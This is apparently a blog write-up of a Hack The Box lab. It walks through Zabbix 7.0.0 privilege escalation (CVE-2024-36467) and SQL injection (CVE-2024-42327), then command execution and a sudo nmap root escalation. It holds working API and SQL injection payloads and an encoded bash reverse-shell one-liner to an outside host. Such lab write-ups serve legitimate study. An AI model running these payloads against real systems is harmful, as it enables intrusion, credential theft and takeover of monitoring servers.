Post

Exploiting Zabbix SQL injection(CVE-2024-42327 / ZBX-25623) in HTB Unrested

The exploitation of CVE-2024-36467, CVE-2024-42327 in terms of HTB Unrested machine. A simple option for SQL injection and PoC. Zabbix 7.0.0

Logo

Start

The machine spawns with generated credentials, for me there were: matthew / changedpasswd

Begin with nmap and see that the machine has default web and zabbix agent’s ports opened:

image.png

When reaching web it declares to have Zabbix 7.0.0 running on it. This version was found to have 2 recently discovered CVEs: app’s privilege escalation and SQL injection, both affecting API endpoints.

image.png

CVE-2024-36467

The CVE-2024-36467 1 declares that it is possible for any user having valid account on zabbix and is allowed to reach API endpoints may change their zabbix role up to “Zabbix administrator” role that is actually a “superuser” for the application defined in the documentation. Just need to have access to the user.update API.

Searching the zabbix API call’s structure, found following information (2) that in partucal, the interesting for us request has the following body:

1
2
3
4
5
6
7
8
9
{
    "jsonrpc": "2.0",
    "method": "user.update",
    "params": {
        "userid": "<your-users-id>",
        "roleid": "<role-id-you-need>"
    },
    "id": 1
}

But, before sending this request directly, let’s authenticate to the API.

According to the “Authentication” page, we need the following request to be sent initially, grab token, and use it for the authorization:

1
2
3
4
5
6
7
8
9
10
curl --request POST \
         --url 'https://example.com/zabbix/api_jsonrpc.php' \
         --header 'Content-Type: application/json-rpc' \
         --data '{"jsonrpc":"2.0","method":"user.login","params":{"username":"Admin","password":"zabbix"},"id":1}'
The expected response:
{
    "jsonrpc": "2.0",
    "result": "<token>",
    "id": 1
} 

Authorized requests have this token in “Authorization: Bearer ” header like following:

1
2
3
curl --request POST \
  --url 'https://example.com/zabbix/api_jsonrpc.php' \
  --header 'Authorization: Bearer 0424bd59b807674191e7d77572075f33'

Having this puzzle together we have a successful authentication:

1
2
3
4
5
6
7
8
curl --request POST \
         --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
         --header 'Content-Type: application/json-rpc' \
         --data '{"jsonrpc":"2.0","method":"user.login","params":\
         {"username":"matthew","password":"changedpass"},"id":1}'

Response:
{"jsonrpc":"2.0","result":"399d8bffa6f5dafdf18c1c15978a092b","id":1}      

Then, I suggested according to the documentation that Zabbix Administrator role is 7 and the group “Internal” is 13 (both give full access for API, and their id values may change on different deployments), and I tried to guess my user’s role, seems it was userid=3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
curl --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Authorization: Bearer 399d8bffa6f5dafdf18c1c15978a092b'\
  --header 'Content-Type: application/json-rpc\
  --data '{"jsonrpc": "2.0", "method": "user.update", "params": \
  {"userid": "1", "roleid": "1"}, "id": 1 }' \
  -x http://127.0.0.1:8080

{"jsonrpc":"2.0","error":{"code":-32500,"message":"Application error.","data":"No permissions to referred object or it does not exist!"},"id":1}                                                                                               ... 

curl --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Authorization: Bearer 399d8bffa6f5dafdf18c1c15978a092b' \
  --header 'Content-Type: application/json-rpc' \
  --data '{"jsonrpc": "2.0", "method": "user.update", "params": \
  {"userid": "3", "roleid": "3"}, "id": 1 }' \
  -x http://127.0.0.1:8080

{"jsonrpc":"2.0","error":{"code":-32602,"message":"Invalid params.",\
"data":"User cannot change own role."},"id":1}   

It did not work, but in a CUser.php we can find function checkHimself(start at 1109)3, that is called when we trigger user.update function and see that the next check for usrgrps is missing for self-assigning and according to documentation we can leverage this parameter to assign our user multiple groups using usrgrpid 4

1
2
3
4
5
6
7
8
9
10
11
12
private function checkHimself(array $users) {
	foreach ($users as $user) {
		if (bccomp($user['userid'], self::$userData['userid']) == 0) {
			if (array_key_exists('roleid', $user) && $user['roleid'] != self::$userData['roleid']) {
				self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot change own role.'));
			}

			if (array_key_exists('usrgrps', $user)) {
				$db_usrgrps = DB::select('usrgrp', [
					'output' => ['gui_access', 'users_status'],
					'usrgrpids' => zbx_objectValues($user['usrgrps'], 'usrgrpid')
				]);

so the following request worked as intended:

1
2
3
4
5
6
7
8
9
curl --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Authorization: Bearer 129592fc742947f1153cc3db987e85fb' \
  --header 'Content-Type: application/json-rpc' \
  --data '{"jsonrpc": "2.0", "method": "user.update", "params": \
  {"userid": "3", "usrgrps": [{"usrgrpid":"7"},{"usrgrpid":"13"}]}, "id": 1 }'\
  -x http://127.0.0.1:8080

{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1} 

A request above is an actual PoC for CVE-2024-36467 5, only for learning and preventing purposes.

CVE-2024-42327 / ZBX-25623

Then we need to exploit SQL injection to get the command execution and land us to the initial foothold on a machine.6

⚠️ A non-admin user account on the Zabbix frontend with the default User role, or with any other role that gives API access can exploit this vulnerability. An SQLi exists in the CUser class in the addRelatedObjects function, this function is being called from the CUser.get function which is available for every user who has API access.

The following code from version 6.0.31 is vulnerable to SQLi :

1
2
3
4
5
6
$db_roles = DBselect(
    'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
    ' FROM users u,role r'.
    ' WHERE u.roleid=r.roleid'.
    ' AND '.dbConditionInt('u.userid', $userIds)
);

As we can see it here on line 3046 of function addRelatedObjects7 that is called in user.get function (defined at line 68, call on line 234)8

So the valid legitimate request seems to be like following example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: unrested.htb
User-Agent: curl/7.83.1
Accept: */*
Authorization: Bearer token
Content-Type: application/json-rpc
Content-Length: 221
Connection: close

{"jsonrpc":"2.0"
,
"method":"user.get"
,
"params":{
            "selectRole": ["roleid", "name", "type", "readonly"],
            "userids": ["3"]
        },
"auth":"token"
,
"id":1}

where array of selectRole is being inserted in the select query and is imploded as a string.

After transformations the SQL query seems to be like:

1
2
3
4
SELECT u.userid, r.roleid, r.name, r.type, r.readonly
FROM users u, role r
WHERE u.roleid = r.roleid
AND u.userid IN 

According to how it was implemented in the code, we can suggest the very classic SQL injection:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: unrested.htb
User-Agent: curl/7.83.1
Accept: */*
Authorization: Bearer a327c118b37a32cb9fbbe1c80b01f8f9
Content-Type: application/json-rpc
Content-Length: 173
Connection: close

{"jsonrpc":"2.0"
,
"method":"user.get"
,
"params":{
            "selectRole": ["roleid, @@version"],
            "userids": ["1"]
        },
"auth":"a"
,
"id":1}

That will transform the SQL query as following:

1
2
3
4
SELECT u.userid, r.roleid, @@version
FROM users u, role r
WHERE u.roleid = r.roleid
AND u.userid IN 

Check response:

image.png

Go further and confirm nested SQL queries supported:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
  "jsonrpc": "2.0",
  "method": "user.get",
  "params": {
    "selectRole": [
      "roleid, (Select 'mrlsecurity.com')"
    ],
    "userids": [
      "1"
    ]
  },
  "auth": "a",
  "id": 1
}

The SQL injection above is much simplier than suggested by compr00t in his POc, no need to struggle with time-based technique for data exfiltration, as the Zabbix 7.0.0 configuration allows us to use non-blind methods. Consider this as more efficient PoC for CVE-2024-42327 9. For learning and prevention purpuses only!

image.png

and let us retrieve all the tables available since nested SQL queries work and we can do some things manually, but it is important to keep in mind, that this code limits our output to have only 1 row (we need to use LIMIT 1, TOP 1, concatenations, and other methods to get our output as 1 string). In this case I gonna use GROUP_CONCAT MySQL method:

image.png

Let’s then retrieve superuser’s session(at first column names so we know what we call):

image.png

image.png

Great, now we have a valid session of userid=1 that belongs to Zabbix Administrator user(app’s superuser).

Check documentation if we have possibility to create system.run items, Zzabbix functions that according to documentation lets us run system commands on demand if EnableRemoteCommands=1 is set10

for running so we need also to know the hostid and interfaceid 11. lets get it and set up a remote shell:

1
2
3
4
5
6
7
8
9
10
{
    "jsonrpc": "2.0",
    "method": "host.get",
    "params": {
        "output": ["hostid"],
        "selectHostGroups": "extend",
"selectInterfaces":["interfaceid"]
    },
    "id": 1
}

image.png

Shell as Zabbix

Create RCE confirmation with callback to my web server:

image.png

image.png

Get a reverse shell:

image.png

Get a user flag from /home/matthew/

Shell as root

Check sudo -l and see that we can run sudo nmap command, but seems nmap is restricted. image.png we cannot run anything available on GTFObins but, the internet and nmap’s documentation gives us information12 that says that we can replace default data files of nmap, including scripts and main files that are usually in /usr/share/nmap or /usr/local/share/nmap

The internet says that nse_main.lua is important file, that nmap loads, when executes default scripts with -sC flag. Dropped RCE check os.execute('touch /dev/shm/rcelol') into our custom nse_main.lua file and trigger it with --datadir:

image.png

OK, to get root shell and flag. I used b3MuZXhlY3V0ZSgnZWNobyBZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzh4TUM0eE1DNHhOQzQxTUM4NU1EQXhJREErSmpFPSB8IGJhc2U2NCAtZCB8IGJhc2gnKTs=:

image.png

Completion

References:

Machine Author: TheCyberGeek

Footnote links:

  1. CVE-2024-36467 / ZBX-25614

  2. Documentation on user.update 

  3. function checkHimself 

  4. Documentation on usergroup object 

  5. PoC for CVE-2024-36467 / ZBX-25614 

  6. CVE-2024-42327 / ZBX-25623, POC 

  7. Github lines 3041-3051 

  8. Call for addRelatedObjects in user.get 

  9. Proof Of Concept for CVE-2024-42327 / ZBX-25623 by mrlsecurity. 

  10. Documentation on Zabbix system.run 

  11. Documentation on Zabbix hostid and interfaceid 

  12. nmap documentation 

This post is licensed under CC BY 4.0 by the author.